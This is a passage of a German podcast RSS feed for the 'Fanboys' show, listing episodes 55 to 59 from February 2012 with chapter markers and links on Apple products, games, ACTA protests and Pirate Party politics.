+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Sorry für die schlechte Audioqualität</td></tr><tr><td>00:00:02</td><td>die SD Karte starb, und wir mussten den Streamrip verwenden</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:20</td><td><a href="http://hsc.fr/ressources/outils/dns2tcp/index.html.en" target="_blank">Exkurs: DNS-Tunneln</td></tr><tr><td>00:04:09</td><td><a href="http://en.wikipedia.org/wiki/PlayStation_Vita" target="_blank">Sony Vita Rant</td></tr><tr><td>00:24:08</td><td>Circle Pad Pro</td></tr><tr><td>00:29:53</td><td><a href="http://mashable.com/2012/03/01/apple-ipad-3-event-clues/" target="_blank">iPad 3 Event am Mittwoch</td></tr><tr><td>00:42:02</td><td><a href="http://www.kickstarter.com/projects/zefrank/a-show-with-ze-frank" target="_blank">Ze Frank kickstartet</td></tr><tr><td>00:50:17</td><td><a href="http://www.kickstarter.com/projects/761471459/auditorium-2-duet" target="_blank">Auditorium 2</td></tr><tr><td>00:53:55</td><td><a href="http://www.kickstarter.com/projects/663695822/pogo-presents-world-remix-tibet" target="_blank">Pogo Video</td></tr><tr><td>00:54:33</td><td><a href="http://www.wirschweifenab.de/" target="_blank">Wir schweifen ab</td></tr><tr><td>00:55:38</td><td>Garageband-Schmerzen</td></tr><tr><td>00:58:20</td><td>Zertifiziertes Mac-RAM</td></tr><tr><td>01:02:32</td><td><a href="http://www.qwiki.com/" target="_blank">Qwiki</td></tr><tr><td>01:05:12</td><td>Brettspielvideotutorials</td></tr><tr><td>01:09:25</td><td>WWDC - Warum?</td></tr><tr><td>01:13:31</td><td>Safari 5.2 unter Lion</td></tr><tr><td>01:15:34</td><td><a href="http://itunes.apple.com/us/app/waking-mars/id462397814?mt=8" target="_blank">Waking Mars</td></tr><tr><td>01:21:32</td><td><a href="http://www.youtube.com/watch?v=r2jaabKdLRw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2359&amp;user_id=map&amp;title=Fanboys%20Episode%2059&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Sorry für die schlechte Audioqualität" />
+ <sc:chapter start="00:00:02" title="die SD Karte starb, und wir mussten den Streamrip verwenden" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:20" title="Exkurs: DNS-Tunneln" href="http://hsc.fr/ressources/outils/dns2tcp/index.html.en" />
+ <sc:chapter start="00:04:09" title="Sony Vita Rant" href="http://en.wikipedia.org/wiki/PlayStation_Vita" />
+ <sc:chapter start="00:24:08" title="Circle Pad Pro" />
+ <sc:chapter start="00:29:53" title="iPad 3 Event am Mittwoch" href="http://mashable.com/2012/03/01/apple-ipad-3-event-clues/" />
+ <sc:chapter start="00:42:02" title="Ze Frank kickstartet" href="http://www.kickstarter.com/projects/zefrank/a-show-with-ze-frank" />
+ <sc:chapter start="00:50:17" title="Auditorium 2" href="http://www.kickstarter.com/projects/761471459/auditorium-2-duet" />
+ <sc:chapter start="00:53:55" title="Pogo Video" href="http://www.kickstarter.com/projects/663695822/pogo-presents-world-remix-tibet" />
+ <sc:chapter start="00:54:33" title="Wir schweifen ab" href="http://www.wirschweifenab.de/" />
+ <sc:chapter start="00:55:38" title="Garageband-Schmerzen" />
+ <sc:chapter start="00:58:20" title="Zertifiziertes Mac-RAM" />
+ <sc:chapter start="01:02:32" title="Qwiki" href="http://www.qwiki.com/" />
+ <sc:chapter start="01:05:12" title="Brettspielvideotutorials" />
+ <sc:chapter start="01:09:25" title="WWDC - Warum?" />
+ <sc:chapter start="01:13:31" title="Safari 5.2 unter Lion" />
+ <sc:chapter start="01:15:34" title="Waking Mars" href="http://itunes.apple.com/us/app/waking-mars/id462397814?mt=8" />
+ <sc:chapter start="01:21:32" title="Rausschmeisser" href="http://www.youtube.com/watch?v=r2jaabKdLRw" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#59:" />
+ </item>
+ <item>
+ <title>Episode #58 - Anfang</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Anfang</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN058.mp3" length="29303034" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN058</guid>
+ <pubDate>Fri, 24 Feb 2012 19:42:45 +0100</pubDate>
+ <itunes:duration>01:00:54</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Marcel
+00:00:13 und Dominik
+00:00:16 und nicht Martin
+00:00:37 und ohne Stream
+00:01:01 Piratiger Aschermittwoch
+00:02:08 Marcels Rede
+00:03:13 Fast alle Piratenredner auf YouTube
+00:03:48 Der Edmund
+00:04:27 Die UDE
+00:04:44 Der Gysi
+00:04:56 Die Bayernpartei
+00:06:22 Der Seehofer
+00:06:42 Kommissarischer Bundespräsident
+00:10:36 BPräsWahlG
+00:14:13 Selbstfindung der Netz-Generation
+00:16:32 ACTA Demo
+00:17:21 Fantastischer Politikteil
+00:17:38 Weisband bei Stuckrad
+00:18:26 Altmaier bei Stuckrad
+00:19:38 Öder Apple Kram
+00:20:08 Dom und der Berglöwe
+00:24:11 Brent Simmons on Sandboxing
+00:24:52 Messages und der Dom
+00:30:31 NoPush4U.de
+00:31:43 Chomp Nom Nom
+00:34:05 iPad 3 am 7. März
+00:36:06 Apple TV
+00:38:55 Google HUD
+00:43:06 Ghost Trick again
+00:44:21 PSVita
+00:46:15 Specks (2 analog Sticks!)
+00:50:38 Hector HD
+00:53:21 Nicht so Euflorisch
+00:56:24 Constanze Kurz nicht Datenschützerin
+00:57:11 Nächste Woche
+00:57:50 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/monkeydom" target="_blank">und Dominik</td></tr><tr><td>00:00:16</td><td><a href="http://twitter.com/map" target="_blank">und nicht Martin</td></tr><tr><td>00:00:37</td><td><a href="http://fanboyspodcast.org/live/" target="_blank">und ohne Stream</td></tr><tr><td>00:01:01</td><td><a href="http://wiki.piratenpartei.de/BY:Piratiger_Aschermittwoch_2012" target="_blank">Piratiger Aschermittwoch</td></tr><tr><td>00:02:08</td><td><a href="http://youtu.be/zD6af8T24yo" target="_blank">Marcels Rede</td></tr><tr><td>00:03:13</td><td><a href="http://www.youtube.com/playlist?list=PL8C4681303164558D&feature=plcp" target="_blank">Fast alle Piratenredner auf YouTube</td></tr><tr><td>00:03:48</td><td><a href="http://youtu.be/dLDUFwTHf8g?t=1m40s" target="_blank">Der Edmund</td></tr><tr><td>00:04:27</td><td><a href="http://www.youtube.com/watch?v=pYRUjFs1YL8" target="_blank">Die UDE</td></tr><tr><td>00:04:44</td><td><a href="http://youtu.be/ljeYeUSx08c" target="_blank">Der Gysi</td></tr><tr><td>00:04:56</td><td><a href="http://youtu.be/RZNwUL4y5lE" target="_blank">Die Bayernpartei</td></tr><tr><td>00:06:22</td><td><a href="http://youtu.be/uBDqbrSraD4" target="_blank">Der Seehofer</td></tr><tr><td>00:06:42</td><td><a href="http://de.wikipedia.org/wiki/Bundespräsident_(Deutschland)#Vertretung" target="_blank">Kommissarischer Bundespräsident</td></tr><tr><td>00:10:36</td><td><a href="http://de.wikipedia.org/wiki/Gesetz_über_die_Wahl_des_Bundespräsidenten_durch_die_Bundesversammlung" target="_blank">BPräsWahlG</td></tr><tr><td>00:14:13</td><td><a href="http://www.zeit.de/digital/internet/2012-02/wir-die-netz-kinder/komplettansicht" target="_blank">Selbstfindung der Netz-Generation</td></tr><tr><td>00:16:32</td><td><a href="http://wiki.stoppacta-protest.info/Main_Page" target="_blank">ACTA Demo</td></tr><tr><td>00:17:21</td><td>Fantastischer Politikteil</td></tr><tr><td>00:17:38</td><td><a href="http://www.zdf.de/ZDFmediathek/beitrag/video/1576130/Stuckrad-Late-Night-vom-2302" target="_blank">Weisband bei Stuckrad</td></tr><tr><td>00:18:26</td><td><a href="http://www.zdf.de/ZDFmediathek/beitrag/video/1570164/Stuckrad-Late-Night-vom-16.02." target="_blank">Altmaier bei Stuckrad</td></tr><tr><td>00:19:38</td><td>Öder Apple Kram</td></tr><tr><td>00:20:08</td><td>Dom und der Berglöwe</td></tr><tr><td>00:24:11</td><td><a href="http://inessential.com/2012/02/17/daniel_on_fixing_the_sandbox" target="_blank">Brent Simmons on Sandboxing</td></tr><tr><td>00:24:52</td><td>Messages und der Dom</td></tr><tr><td>00:30:31</td><td><a href="http://www.macrumors.com/2012/02/24/apple-suspends-push-email-in-germany/" target="_blank">NoPush4U.de</td></tr><tr><td>00:31:43</td><td><a href="http://itunes.apple.com/de/app/chomp/id348286549?mt=8" target="_blank">Chomp Nom Nom</td></tr><tr><td>00:34:05</td><td><a href="http://www.macrumors.com/2012/02/13/ipad-3-announcement-on-march-7th-with-quad-core-and-4g-lte/" target="_blank">iPad 3 am 7. März</td></tr><tr><td>00:36:06</td><td><a href="http://www.macrumors.com/2012/02/12/ipad-3-to-pave-way-for-1080p-itunes-content-and-a-new-apple-tv/" target="_blank">Apple TV</td></tr><tr><td>00:38:55</td><td><a href="http://9to5google.com/2012/02/06/hud-google-glasses-are-real-and-they-are-coming-soon/" target="_blank">Google HUD</td></tr><tr><td>00:43:06</td><td>Ghost Trick again</td></tr><tr><td>00:44:21</td><td><a href="http://breakfast.vu0.org/archives/738" target="_blank">PSVita</td></tr><tr><td>00:46:15</td><td><a href="http://en.wikipedia.org/wiki/PlayStation_Vita" target="_blank">Specks (2 analog Sticks!)</td></tr><tr><td>00:50:38</td><td><a href="http://itunes.apple.com/de/app/hector-ep1-hd-we-negotiate/id433058491?mt=8" target="_blank">Hector HD</td></tr><tr><td>00:53:21</td><td><a href="http://itunes.apple.com/de/app/eufloria-hd/id484072119?mt=8" target="_blank">Nicht so Euflorisch</td></tr><tr><td>00:56:24</td><td><a href="http://www.zeit.de/digital/datenschutz/2012-02/kurz-thueringen-datenschutz" target="_blank">Constanze Kurz nicht Datenschützerin</td></tr><tr><td>00:57:11</td><td>Nächste Woche</td></tr><tr><td>00:57:50</td><td><a href="http://www.zdf.de/ZDFmediathek/beitrag/video/1576130/Stuckrad-Late-Night-vom-2302" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2358&amp;user_id=map&amp;title=Fanboys%20Episode%2058&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:13" title="und Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:16" title="und nicht Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:37" title="und ohne Stream" href="http://fanboyspodcast.org/live/" />
+ <sc:chapter start="00:01:01" title="Piratiger Aschermittwoch" href="http://wiki.piratenpartei.de/BY:Piratiger_Aschermittwoch_2012" />
+ <sc:chapter start="00:02:08" title="Marcels Rede" href="http://youtu.be/zD6af8T24yo" />
+ <sc:chapter start="00:03:13" title="Fast alle Piratenredner auf YouTube" href="http://www.youtube.com/playlist?list=PL8C4681303164558D&amp;feature=plcp" />
+ <sc:chapter start="00:03:48" title="Der Edmund" href="http://youtu.be/dLDUFwTHf8g?t=1m40s" />
+ <sc:chapter start="00:04:27" title="Die UDE" href="http://www.youtube.com/watch?v=pYRUjFs1YL8" />
+ <sc:chapter start="00:04:44" title="Der Gysi" href="http://youtu.be/ljeYeUSx08c" />
+ <sc:chapter start="00:04:56" title="Die Bayernpartei" href="http://youtu.be/RZNwUL4y5lE" />
+ <sc:chapter start="00:06:22" title="Der Seehofer" href="http://youtu.be/uBDqbrSraD4" />
+ <sc:chapter start="00:06:42" title="Kommissarischer Bundespräsident" href="http://de.wikipedia.org/wiki/Bundespräsident_(Deutschland)#Vertretung" />
+ <sc:chapter start="00:10:36" title="BPräsWahlG" href="http://de.wikipedia.org/wiki/Gesetz_über_die_Wahl_des_Bundespräsidenten_durch_die_Bundesversammlung" />
+ <sc:chapter start="00:14:13" title="Selbstfindung der Netz-Generation" href="http://www.zeit.de/digital/internet/2012-02/wir-die-netz-kinder/komplettansicht" />
+ <sc:chapter start="00:16:32" title="ACTA Demo" href="http://wiki.stoppacta-protest.info/Main_Page" />
+ <sc:chapter start="00:17:21" title="Fantastischer Politikteil" />
+ <sc:chapter start="00:17:38" title="Weisband bei Stuckrad" href="http://www.zdf.de/ZDFmediathek/beitrag/video/1576130/Stuckrad-Late-Night-vom-2302" />
+ <sc:chapter start="00:18:26" title="Altmaier bei Stuckrad" href="http://www.zdf.de/ZDFmediathek/beitrag/video/1570164/Stuckrad-Late-Night-vom-16.02." />
+ <sc:chapter start="00:19:38" title="Öder Apple Kram" />
+ <sc:chapter start="00:20:08" title="Dom und der Berglöwe" />
+ <sc:chapter start="00:24:11" title="Brent Simmons on Sandboxing" href="http://inessential.com/2012/02/17/daniel_on_fixing_the_sandbox" />
+ <sc:chapter start="00:24:52" title="Messages und der Dom" />
+ <sc:chapter start="00:30:31" title="NoPush4U.de" href="http://www.macrumors.com/2012/02/24/apple-suspends-push-email-in-germany/" />
+ <sc:chapter start="00:31:43" title="Chomp Nom Nom" href="http://itunes.apple.com/de/app/chomp/id348286549?mt=8" />
+ <sc:chapter start="00:34:05" title="iPad 3 am 7. März" href="http://www.macrumors.com/2012/02/13/ipad-3-announcement-on-march-7th-with-quad-core-and-4g-lte/" />
+ <sc:chapter start="00:36:06" title="Apple TV" href="http://www.macrumors.com/2012/02/12/ipad-3-to-pave-way-for-1080p-itunes-content-and-a-new-apple-tv/" />
+ <sc:chapter start="00:38:55" title="Google HUD" href="http://9to5google.com/2012/02/06/hud-google-glasses-are-real-and-they-are-coming-soon/" />
+ <sc:chapter start="00:43:06" title="Ghost Trick again" />
+ <sc:chapter start="00:44:21" title="PSVita" href="http://breakfast.vu0.org/archives/738" />
+ <sc:chapter start="00:46:15" title="Specks (2 analog Sticks!)" href="http://en.wikipedia.org/wiki/PlayStation_Vita" />
+ <sc:chapter start="00:50:38" title="Hector HD" href="http://itunes.apple.com/de/app/hector-ep1-hd-we-negotiate/id433058491?mt=8" />
+ <sc:chapter start="00:53:21" title="Nicht so Euflorisch" href="http://itunes.apple.com/de/app/eufloria-hd/id484072119?mt=8" />
+ <sc:chapter start="00:56:24" title="Constanze Kurz nicht Datenschützerin" href="http://www.zeit.de/digital/datenschutz/2012-02/kurz-thueringen-datenschutz" />
+ <sc:chapter start="00:57:11" title="Nächste Woche" />
+ <sc:chapter start="00:57:50" title="Rausschmeisser" href="http://www.zdf.de/ZDFmediathek/beitrag/video/1576130/Stuckrad-Late-Night-vom-2302" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#58:" />
+ </item>
+ <item>
+ <title>Episode #57 - Oh, Internet</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Oh, Internet</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN057.mp3" length="29624027" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN057</guid>
+ <pubDate>Fri, 17 Feb 2012 19:59:11 +0100</pubDate>
+ <itunes:duration>01:01:34</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Marcel
+00:00:12 und Martin
+00:00:22 Ghost Trick
+00:01:08 Ron Gilbert bei Retronauts
+00:03:22 Tim Schafer kickstartet
+00:09:28 ACTA Demo
+00:13:32 EU Parlament
+00:14:21 Deutsche Content Allianz
+00:17:33 Marcel beim piratigen Aschermittwoch
+00:20:13 Adressbuchgate
+00:28:30 Mountain Lion
+00:31:04 Messages
+00:33:25 iCloud
+00:35:37 Reminders
+00:37:12 Notes
+00:37:37 Notification Center
+00:39:04 Software Update
+00:40:06 Share Sheets
+00:42:36 Game Center
+00:43:21 Airplay Mirroring
+00:44:54 GateKeeper
+00:51:46 Schöne Ecken
+00:53:25 Applied Cryptography
+00:54:57 Code Book
+00:55:34 Indie Fresse
+00:57:04 Nächste Woche
+00:58:26 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:22</td><td>Ghost Trick</td></tr><tr><td>00:01:08</td><td><a href="http://www.1up.com/do/blogEntry?bId=9095542" target="_blank">Ron Gilbert bei Retronauts</td></tr><tr><td>00:03:22</td><td><a href="http://kotaku.com/5883717/tim-schafers-adventure-project-shatters-kickstarter-records" target="_blank">Tim Schafer kickstartet</td></tr><tr><td>00:09:28</td><td><a href="http://www.stopacta.de/werde-aktiv-2/demonstrationen-25-02-2012/" target="_blank">ACTA Demo</td></tr><tr><td>00:13:32</td><td><a href="https://www.laquadrature.net/wiki/How_to_act_against_ACTA#Who_to_contact" target="_blank">EU Parlament</td></tr><tr><td>00:14:21</td><td><a href="http://www.presseportal.de/pm/6895/2200327/acta-abkommen-deutsche-content-allianz-fordert-bundesregierung-zur-konsistenten-positionierung-zum/gn" target="_blank">Deutsche Content Allianz</td></tr><tr><td>00:17:33</td><td>Marcel beim piratigen Aschermittwoch</td></tr><tr><td>00:20:13</td><td><a href="http://allthingsd.com/20120215/apple-app-access-to-contact-data-will-require-explicit-user-permission/" target="_blank">Adressbuchgate</td></tr><tr><td>00:28:30</td><td><a href="http://www.apple.com/macosx/mountain-lion/" target="_blank">Mountain Lion</td></tr><tr><td>00:31:04</td><td>Messages</td></tr><tr><td>00:33:25</td><td>iCloud</td></tr><tr><td>00:35:37</td><td>Reminders</td></tr><tr><td>00:37:12</td><td>Notes</td></tr><tr><td>00:37:37</td><td>Notification Center</td></tr><tr><td>00:39:04</td><td>Software Update</td></tr><tr><td>00:40:06</td><td>Share Sheets</td></tr><tr><td>00:42:36</td><td>Game Center</td></tr><tr><td>00:43:21</td><td>Airplay Mirroring</td></tr><tr><td>00:44:54</td><td>GateKeeper</td></tr><tr><td>00:51:46</td><td><a href="http://www.schoene-ecken.de/" target="_blank">Schöne Ecken</td></tr><tr><td>00:53:25</td><td><a href="http://www.amazon.de/Applied-Cryptography-Protocols-Algorithms-Source/dp/0471117099/" target="_blank">Applied Cryptography</td></tr><tr><td>00:54:57</td><td><a href="http://www.amazon.de/Geheime-Botschaften-Verschlüsselung-Antike-Internet/dp/3423330716/" target="_blank">Code Book</td></tr><tr><td>00:55:34</td><td><a href="http://www.superlevel.de/cast/indie-fresse-001-dear-esther" target="_blank">Indie Fresse</td></tr><tr><td>00:57:04</td><td><a href="http://jococruisecrazy.com/" target="_blank">Nächste Woche</td></tr><tr><td>00:58:26</td><td><a href="http://www.youtube.com/watch?v=mafimBTMTmY" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2357&amp;user_id=map&amp;title=Fanboys%20Episode%2057&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:22" title="Ghost Trick" />
+ <sc:chapter start="00:01:08" title="Ron Gilbert bei Retronauts" href="http://www.1up.com/do/blogEntry?bId=9095542" />
+ <sc:chapter start="00:03:22" title="Tim Schafer kickstartet" href="http://kotaku.com/5883717/tim-schafers-adventure-project-shatters-kickstarter-records" />
+ <sc:chapter start="00:09:28" title="ACTA Demo" href="http://www.stopacta.de/werde-aktiv-2/demonstrationen-25-02-2012/" />
+ <sc:chapter start="00:13:32" title="EU Parlament" href="https://www.laquadrature.net/wiki/How_to_act_against_ACTA#Who_to_contact" />
+ <sc:chapter start="00:14:21" title="Deutsche Content Allianz" href="http://www.presseportal.de/pm/6895/2200327/acta-abkommen-deutsche-content-allianz-fordert-bundesregierung-zur-konsistenten-positionierung-zum/gn" />
+ <sc:chapter start="00:17:33" title="Marcel beim piratigen Aschermittwoch" />
+ <sc:chapter start="00:20:13" title="Adressbuchgate" href="http://allthingsd.com/20120215/apple-app-access-to-contact-data-will-require-explicit-user-permission/" />
+ <sc:chapter start="00:28:30" title="Mountain Lion" href="http://www.apple.com/macosx/mountain-lion/" />
+ <sc:chapter start="00:31:04" title="Messages" />
+ <sc:chapter start="00:33:25" title="iCloud" />
+ <sc:chapter start="00:35:37" title="Reminders" />
+ <sc:chapter start="00:37:12" title="Notes" />
+ <sc:chapter start="00:37:37" title="Notification Center" />
+ <sc:chapter start="00:39:04" title="Software Update" />
+ <sc:chapter start="00:40:06" title="Share Sheets" />
+ <sc:chapter start="00:42:36" title="Game Center" />
+ <sc:chapter start="00:43:21" title="Airplay Mirroring" />
+ <sc:chapter start="00:44:54" title="GateKeeper" />
+ <sc:chapter start="00:51:46" title="Schöne Ecken" href="http://www.schoene-ecken.de/" />
+ <sc:chapter start="00:53:25" title="Applied Cryptography" href="http://www.amazon.de/Applied-Cryptography-Protocols-Algorithms-Source/dp/0471117099/" />
+ <sc:chapter start="00:54:57" title="Code Book" href="http://www.amazon.de/Geheime-Botschaften-Verschlüsselung-Antike-Internet/dp/3423330716/" />
+ <sc:chapter start="00:55:34" title="Indie Fresse" href="http://www.superlevel.de/cast/indie-fresse-001-dear-esther" />
+ <sc:chapter start="00:57:04" title="Nächste Woche" href="http://jococruisecrazy.com/" />
+ <sc:chapter start="00:58:26" title="Rausschmeisser" href="http://www.youtube.com/watch?v=mafimBTMTmY" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#57:" />
+ </item>
+ <item>
+ <title>Episode #56 - Doktorspiele</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Doktorspiele</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN056.mp3" length="33904556" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN056</guid>
+ <pubDate>Fri, 10 Feb 2012 20:59:07 +0100</pubDate>
+ <itunes:duration>01:10:29</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Marcel
+00:00:14 und Martin
+00:00:48 Motorola Mobility und Google
+00:01:58 iBook Author Schmerzen
+00:05:25 Selbstgemachte iBooks
+00:09:20 Spielwarenmesse
+00:11:27 iPad 3 Gerüchte
+00:17:58 Raider heisst jetzt SEN
+00:20:37 Path und das Adressbuch
+00:32:07 ACTA
+00:37:24 Demo Grundregeln für Nerds
+00:39:06 Tweetbot für iPad
+00:42:51 Neues aus der Patentarena
+00:46:23 Mac OS X Internals
+00:50:44 Scorekeeper XL
+00:53:43 Space Quest 2
+00:57:06 Ghost Trick
+01:06:21 Frederic Resurrection of Music
+01:09:09 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:00:48</td><td>Motorola Mobility und Google</td></tr><tr><td>00:01:58</td><td>iBook Author Schmerzen</td></tr><tr><td>00:05:25</td><td><a href="http://itunes.apple.com/de/book/stromstock-ipad-edition-01.2012/id500710792?mt=11" target="_blank">Selbstgemachte iBooks</td></tr><tr><td>00:09:20</td><td>Spielwarenmesse</td></tr><tr><td>00:11:27</td><td><a href="http://www.appleinsider.com/articles/12/02/09/pictured_sharp_lcd_panel_claimed_to_be_retina_display_for_apples_ipad_3.html" target="_blank">iPad 3 Gerüchte</td></tr><tr><td>00:17:58</td><td><a href="http://www.reghardware.com/2012/02/06/psn_scrapped_in_favour_of_sony_entertainment_network/" target="_blank">Raider heisst jetzt SEN</td></tr><tr><td>00:20:37</td><td><a href="http://mclov.in/2012/02/08/path-uploads-your-entire-address-book-to-their-servers.html" target="_blank">Path und das Adressbuch</td></tr><tr><td>00:32:07</td><td><a href="http://wiki.stoppacta-protest.info/Main_Page" target="_blank">ACTA</td></tr><tr><td>00:37:24</td><td><a href="http://ds.ccc.de/094/ds094-Demo-Grundregeln.pdf" target="_blank">Demo Grundregeln für Nerds</td></tr><tr><td>00:39:06</td><td><a href="http://itunes.apple.com/us/app/tweetbot-twitter-client-personality/id498801050?mt=8" target="_blank">Tweetbot für iPad</td></tr><tr><td>00:42:51</td><td><a href="http://fosspatents.blogspot.com/2012/02/winning-streak-ends-motorola-mobility.html" target="_blank">Neues aus der Patentarena</td></tr><tr><td>00:46:23</td><td><a href="http://osxbook.com" target="_blank">Mac OS X Internals</td></tr><tr><td>00:50:44</td><td><a href="http://itunes.apple.com/us/app/scorekeeper-xl/id463243024?mt=8" target="_blank">Scorekeeper XL</td></tr><tr><td>00:53:43</td><td><a href="http://www.infamous-adventures.com/home/index.php?page=sq2" target="_blank">Space Quest 2</td></tr><tr><td>00:57:06</td><td><a href="http://itunes.apple.com/us/app/ghost-trick-phantom-detective/id489113377?mt=8" target="_blank">Ghost Trick</td></tr><tr><td>01:06:21</td><td><a href="http://itunes.apple.com/au/app/frederic-resurrection-music/id492998445?mt=8" target="_blank">Frederic Resurrection of Music</td></tr><tr><td>01:09:09</td><td><a href="http://www.youtube.com/watch?v=NbIGnY_DSIE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2356&amp;user_id=map&amp;title=Fanboys%20Episode%2056&amp;tags=podcast&amp;category=audio" type="text/html" />
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:48" title="Motorola Mobility und Google" />
+ <sc:chapter start="00:01:58" title="iBook Author Schmerzen" />
+ <sc:chapter start="00:05:25" title="Selbstgemachte iBooks" href="http://itunes.apple.com/de/book/stromstock-ipad-edition-01.2012/id500710792?mt=11" />
+ <sc:chapter start="00:09:20" title="Spielwarenmesse" />
+ <sc:chapter start="00:11:27" title="iPad 3 Gerüchte" href="http://www.appleinsider.com/articles/12/02/09/pictured_sharp_lcd_panel_claimed_to_be_retina_display_for_apples_ipad_3.html" />
+ <sc:chapter start="00:17:58" title="Raider heisst jetzt SEN" href="http://www.reghardware.com/2012/02/06/psn_scrapped_in_favour_of_sony_entertainment_network/" />
+ <sc:chapter start="00:20:37" title="Path und das Adressbuch" href="http://mclov.in/2012/02/08/path-uploads-your-entire-address-book-to-their-servers.html" />
+ <sc:chapter start="00:32:07" title="ACTA" href="http://wiki.stoppacta-protest.info/Main_Page" />
+ <sc:chapter start="00:37:24" title="Demo Grundregeln für Nerds" href="http://ds.ccc.de/094/ds094-Demo-Grundregeln.pdf" />
+ <sc:chapter start="00:39:06" title="Tweetbot für iPad" href="http://itunes.apple.com/us/app/tweetbot-twitter-client-personality/id498801050?mt=8" />
+ <sc:chapter start="00:42:51" title="Neues aus der Patentarena" href="http://fosspatents.blogspot.com/2012/02/winning-streak-ends-motorola-mobility.html" />
+ <sc:chapter start="00:46:23" title="Mac OS X Internals" href="http://osxbook.com" />
+ <sc:chapter start="00:50:44" title="Scorekeeper XL" href="http://itunes.apple.com/us/app/scorekeeper-xl/id463243024?mt=8" />
+ <sc:chapter start="00:53:43" title="Space Quest 2" href="http://www.infamous-adventures.com/home/index.php?page=sq2" />
+ <sc:chapter start="00:57:06" title="Ghost Trick" href="http://itunes.apple.com/us/app/ghost-trick-phantom-detective/id489113377?mt=8" />
+ <sc:chapter start="01:06:21" title="Frederic Resurrection of Music" href="http://itunes.apple.com/au/app/frederic-resurrection-music/id492998445?mt=8" />
+ <sc:chapter start="01:09:09" title="Rausschmeisser" href="http://www.youtube.com/watch?v=NbIGnY_DSIE" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#56:" />
+ </item>
+ <item>
+ <title>Episode #55 - Den Tiger streicheln</title>
+ <itunes:explicit>no</itunes:explicit>
